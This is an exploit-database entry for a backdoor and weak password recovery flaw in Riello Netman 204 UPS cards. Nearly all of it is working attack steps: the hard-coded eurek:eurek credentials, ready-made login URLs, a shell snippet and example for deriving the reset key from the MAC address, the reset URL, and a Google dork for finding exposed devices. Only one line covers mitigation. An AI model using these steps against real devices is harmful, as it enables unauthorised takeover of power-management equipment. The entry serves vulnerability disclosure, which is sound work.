Netman 204 Backdoor and weak password recovery function

vendor:

Netman 204

by:

Simon Gurney

7,5

CVSS

HIGH

Backdoor and weak password recovery

287

CWE

Product Name: Netman 204

Affected Version From: S14-1

Affected Version To: S15-2

Patch Exists: NO

Related CWE: N/A

CPE: h:riello-ups:netman_204

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Reillo UPS

2017

Netman 204 Backdoor and weak password recovery function

Netman 204 cards have a backdoor account eurek:eurek which can be logged in by simply browsing to the URL http://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek or https://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek. Due to flaws in parameter validation, the URL can be shortened to http://[IP]/cgi-bin/login.cgi?username=eurek%20eurek or https://[IP]/cgi-bin/login.cgi?username=eurek%20eurek. If an admin has changed the passwords, they can be reset by generating a reset key from the MAC address if you are on the same subnet. To generate the key, do an MD5 hash of 204:[MAC ADDRESS] and take characters 2-10, then browse to the url http://[ip]/cgi-bin/recover2.cgi?password=354a65581 or https://[ip]/cgi-bin/recover2.cgi?password=354a65581. Passwords have now been reset.

Mitigation:

Ensure that the Netman 204 card is not exposed to the internet and that the backdoor account is disabled.

Source

Exploit-DB raw data:

# Exploit Title: Netman 204 Backdoor and weak password recovery function
# Google Dork: intitle:"Netman 204 login"
# Date: 31st Jan 2017
# Exploit Author: Simon Gurney
# Vendor Homepage: blog.synack.co.uk
# Software Link: http://www.riello-ups.co.uk/uploads/file/319/1319/FW058-0105__FW_B0225_NetMan_204_.zip
# Version: S14-1 and S15-2
# Tested on: Reillo UPS
# CVE : N/A

Netman 204 cards have a backdoor account eurek:eurek.

This account can be logged with by simply browsing to the URL
http://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek

Due to flaws in parameter validation, the URL can be shortened to:
http://[IP]/cgi-bin/login.cgi?username=eurek%20eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek%20eurek

This backdoor has previously been reported by Saeed reza Zamanian under EDB-ID: 40431 here<https://www.exploit-db.com/exploits/40431/>, which shows how to utilise this to gain shell access however this did not give detail of how easy it is to log in to the device and access the administrative functions via the web interface.  The google dork provided also reveals some UPS exposed to the internet.

If an admin has changed the passwords, they can be reset by generating a reset key from the MAC address if you are on the same subnet:

NETMANID=204:`/sbin/ifconfig eth0 | awk '/HWaddr/ {print $NF}' `
KEY=`echo .$NETMANID | md5sum | cut -c2-10`

To generate the key, do an MD5 hash of 204:[MAC ADDRESS]
Such as,
204:AA:BB:CC:DD:EE:FF == 0354a655811843aab718cfcf973c7dab
Then take characters 2-10, where position 1 is character 1 (not 0).
Such as,
354a65581

Then browse to the url:
http://[ip]/cgi-bin/recover2.cgi?password=354a65581
or
https://[ip]/cgi-bin/recover2.cgi?password=354a65581


Passwords have now been reset.